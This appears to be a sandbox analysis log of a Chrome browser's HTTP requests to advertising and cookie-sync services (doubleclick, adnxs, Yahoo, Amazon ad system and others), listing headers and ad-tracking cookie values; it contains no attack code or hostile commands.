Source: global traffic	HTTP traffic detected: GET /sync?nid=114&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dcm?pid=50cd21b7-d8d7-4615-9fb9-a2be831f8488&id=&gdpr=0&us_privacy=1YNN HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=rubicon&google_cm&google_sc&process_consent=T&gdpr=0&us_privacy=1YNN HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /ddm/activity/attribution_src_register;crd=cXVlcnlfZXZlbnRfaWQgewogIHRpbWVfdXNlYzogMTcxNDI1NzczMjYzNTUyMgogIHNlcnZlcl9pcDogMTQxMDMzNzA4CiAgcHJvY2Vzc19pZDogNTg3OTQwNTI0Cn0KZmxvb2RsaWdodF9jb25maWdfaWQ6IDE0MDIyNjA3CmFkdmVydGlzZXJfZG9tYWluOiAiaHR0cHM6Ly9zZXJ0YS5jb20iCnhmYV9hdHRyaWJ1dGlvbl9pbnRlcmFjdGlvbl90eXBlOiBWSUVXCmltcHJlc3Npb25fcHJpb3JpdHk6IDAKaW1wcmVzc2lvbl9leHBpcnlfaW5fZGF5czogMzAKZXZlbnRfaW1wcmVzc2lvbl9pZDogMTYwODQzMDY5NzM0MDI2MTEwODIKZGVidWdfa2V5OiA5OTc5MjY5Mjg4MTYwNzA1Njg1CmltcHJlc3Npb25fbWVhc3VyZW1lbnRfZGltZW5zaW9uc19kYXRhIHsKICBtZWFzdXJlbWVudF9kaW1lbnNpb246IElNUFJFU1NJT05fRElNRU5TSU9OX1BST0RVQ1RfVFlQRQogIG1lYXN1cmVtZW50X2RpbWVuc2lvbl92YWx1ZSB7CiAgICBpbnQ2NF92YWx1ZTogMgogIH0KfQppbXByZXNzaW9uX21lYXN1cmVtZW50X2RpbWVuc2lvbnNfZGF0YSB7CiAgbWVhc3VyZW1lbnRfZGltZW5zaW9uOiBJTVBSRVNTSU9OX0RJTUVOU0lPTl9JTlRFUkFDVElPTl9UWVBFCiAgbWVhc3VyZW1lbnRfZGltZW5zaW9uX3ZhbHVlIHsKICAgIGludDY0X3ZhbHVlOiAzCiAgfQp9CmltcHJlc3Npb25fbWVhc3VyZW1lbnRfZGltZW5zaW9uc19kYXRhIHsKICBtZWFzdXJlbWVudF9kaW1lbnNpb246IElNUFJFU1NJT05fRElNRU5TSU9OX0lOVEVSQUNUSU9OX0RBVEUKICBtZWFzdXJlbWVudF9kaW1lbnNpb25fdmFsdWUgewogICAgc3RyaW5nX3ZhbHVlOiAiMjAyNC0wNC0yNyIKICB9Cn0KaW1wcmVzc2lvbl9tZWFzdXJlbWVudF9kaW1lbnNpb25zX2RhdGEgewogIG1lYXN1cmVtZW50X2RpbWVuc2lvbjogSU1QUkVTU0lPTl9ESU1FTlNJT05fRkxPT0RMSUdIVF9DT05GSUdfSUQKICBtZWFzdXJlbWVudF9kaW1lbnNpb25fdmFsdWUgewogICAgaW50NjRfdmFsdWU6IDE0MDIyNjA3CiAgfQp9CmltcHJlc3Npb25fbWVhc3VyZW1lbnRfZGltZW5zaW9uc19kYXRhIHsKICBtZWFzdXJlbWVudF9kaW1lbnNpb246IElNUFJFU1NJT05fRElNRU5TSU9OX0NPUkVfUExBVEZPUk1fU0VSVklDRQogIG1lYXN1cmVtZW50X2RpbWVuc2lvbl92YWx1ZSB7CiAgICBpbnQ2NF92YWx1ZTogMAogIH0KfQppbXByZXNzaW9uX21lYXN1cmVtZW50X2RpbWVuc2lvbnNfZGF0YSB7CiAgbWVhc3VyZW1lbnRfZGltZW5zaW9uOiBJTVBSRVNTSU9OX0RJTUVOU0lPTl9NT0JJTEVfQlJPV1NFUl9DTEFTUwogIG1lYXN1cmVtZW50X2RpbWVuc2lvbl92YWx1ZSB7CiAgICBpbnQ2NF92YWx1ZTogMwogIH0KfQppbXByZXNzaW9uX21lYXN1cmVtZW50X2RpbWVuc2lvbnNfZGF0YSB7CiAgbWVhc3VyZW1lbnRfZGltZW5zaW9uOiBJTVBSRVNTSU9OX0RJTUVOU0lPTl9RVUVSWV9DT1VOVFJZCiAgbWVhc3VyZW1lbnRfZGltZW5zaW9uX3ZhbHVlIHsKICAgIHN0cmluZ192YWx1ZTogIlVTIgogIH0KfQppbXByZXNzaW9uX21lYXN1cmVtZW50X2RpbWVuc2lvbnNfZGF0YSB7CiAgbWVhc3VyZW1lbnRfZGltZW5zaW9uOiBJTVBSRVNTSU9OX0RJTUVOU0lPTl9QTEFDRU1FTlRfSUQKICBtZWFzdXJlbWVudF9kaW1lbnNpb25fdmFsdWUgewogICAgaW50NjRfdmFsdWU6IDM5NDE1MjM3NQogIH0KfQppbXByZXNzaW9uX21lYXN1cmVtZW50X2RpbWVuc2lvbnNfZGF0YSB7CiAgbWVhc3VyZW1lbnRfZGltZW5zaW9uOiBJTVBSRVNTSU9OX0RJTUVOU0lPTl9EVjNfQURWRVJUSVNFUl9JRAogIG1lYXN1cmVtZW50X2RpbWVuc2lvbl92YWx1ZSB7CiAgICBpbnQ2NF92YWx1ZTogMTU3ODYxNjk0NQogIH0KfQppbXByZXNzaW9uX21lYXN1cmVtZW50X2RpbWVuc2lvbnNfZGF0YSB7CiAgbWVhc3VyZW1lbnRfZGltZW5zaW9uOiBJTVBSRVNTSU9OX0RJTUVOU0lPTl9EVjNfTElORV9JVEVNX0lECiAgbWVhc3VyZW1lbnRfZGltZW5zaW9uX3ZhbHVlIHsKICAgIGludDY0X3ZhbHVlOiAyMTE4MDI3OTgyNAogIH0KfQppbXByZXNzaW9uX21lYXN1cmVtZW50X2RpbWVuc2lvbnNfZGF0YSB7CiAgbWVhc3VyZW1lbnRfZGltZW5zaW9uOiBJTVBSRVNTSU9OX0RJTUVOU0lPTl9EVjNfQ1JFQVRJVkVfSUQKICBtZWFzdXJlbWVudF9kaW1lbnNpb25fdmFsdWUgewogICAgaW50NjRfdmFsdWU6IDU2NzQyNzU4NgogIH0KfQphcmNoZXR5cGVfaWQ6IDEyCmFyY2hldHlwZV9pZDogMTMKYXJjaGV0eXBlX2lkOiAxNAphc
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=criteo&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=k-9dDunaqp_dM1H477xpJOVC4AuDiiKJP3qhwpVg HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssp-sync.criteo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiSWtFU0FUWkg4MV9GYXB2elJ4R1FROHJ1IiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTEuODA0NjczMzE3WiJ9LCJ0dGQiOnsidWlkIjoiNDNlN2RjOGUtNTQ1OC00Mzc1LWJlNGEtNjQ0NzM3ZWQ0ZGJkIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDkuMTczMDU5NzYxWiJ9fX0=
Source: global traffic	HTTP traffic detected: GET /ads/studio/cached_libs/createjs_2019.11.15_min.js HTTP/1.1Host: s0.2mdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://s0.2mdn.net/sadbundle/10005337952414769934/PRO_NEW_MY24%20Prologue%20Launch_NSEV_NOIN_ENG_300x250_WDCH_H5_NV_LNM_MULT/MY24-PROLOGUE_LAUNCH_HTML_300x250_NC_AB.html?ev=01_250Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/mntr.min.2.11.0.js HTTP/1.1Host: ajs.a47b.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=yieldmo&f=i&uid=VcJnSSSXXnSq19AL9kSQ&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiSWtFU0FUWkg4MV9GYXB2elJ4R1FROHJ1IiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTEuODA0NjczMzE3WiJ9LCJ0dGQiOnsidWlkIjoiNDNlN2RjOGUtNTQ1OC00Mzc1LWJlNGEtNjQ0NzM3ZWQ0ZGJkIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDkuMTczMDU5NzYxWiJ9fX0=
Source: global traffic	HTTP traffic detected: GET /track/cmf/rubicon?gdpr=0&us_privacy=1YNN HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAEYBSABKAIyCwiQndbuv8XzPBAFOAE.
Source: global traffic	HTTP traffic detected: GET /sync?ssp=criteo&custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q&gdpr=&gdpr_consent=&us_privacy=1YNN&cr_user_id=k-rU5q5aqp_dM1H477xpJOVC4AuDhGElh6cWs14g HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssp-sync.criteo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; tuuid_lu=1714257731
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D480%26ssp%3Dthemediagrid%26user_id%3D%24UID%26&gdpr=&gdpr_consent= HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssp-sync.criteo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M41.D>6NRF']wIg2Hc#u`tfT!A#Eo(<j<dINiYhTyXnfi8FW/Zpm5E[80f<kjl:mhj)Y2eEqCv^C=ecXEM1/X%W#.wL4W1Qw2.Sw':%
Source: global traffic	HTTP traffic detected: GET /s/dcm?pid=a38a8ddf-19a7-4ab8-ba05-0a61de92a7e5&id=&gdpr=0&us_privacy=1YNN HTTP/1.1Host: aax-eu.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=rubicon&google_hm=NjgyNWY3MTgzMzJkNWYyZTNmYTQyYzdjNTc1NTFhYjc4MDE4MDUxNg&gdpr=0&us_privacy=1YNN HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /cookie-sync/rp?bee_sync_partners=rp&gdpr=0&us_privacy=1YNN HTTP/1.1Host: match.prod.bidr.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https://ads.yieldmo.com/v000/sync?userid=$UID&pn_id=an HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M41.D>6NRF']wIg2Hc#u`tfT!A#Eo(<j<dINiYhTyXnfi8FW/Zpm5E[80f<kjl:mhj)Y2eEqCv^C=ecXEM1/X%W#.wL4W1Qw2.Sw':%
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=rp&google_cm&google_hm=TFZJT1NBMVctNy02RENN&gdpr=0&us_privacy=1YNN HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /sync/rubicon/-oeb6kQmDMBey4liNJzSkw?csrc=&gdpr=0&us_privacy=1YNN HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=adobe&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=Zi1-PgAAvwsNrQAF HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiSWtFU0FUWkg4MV9GYXB2elJ4R1FROHJ1IiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTEuODA0NjczMzE3WiJ9LCJ0dGQiOnsidWlkIjoiNDNlN2RjOGUtNTQ1OC00Mzc1LWJlNGEtNjQ0NzM3ZWQ0ZGJkIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDkuMTczMDU5NzYxWiJ9LCJ5aWVsZG1vIjp7InVpZCI6IlZjSm5TU1NYWG5TcTE5QUw5a1NRIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTUuOTgwMDY3NTgyWiJ9fX0=
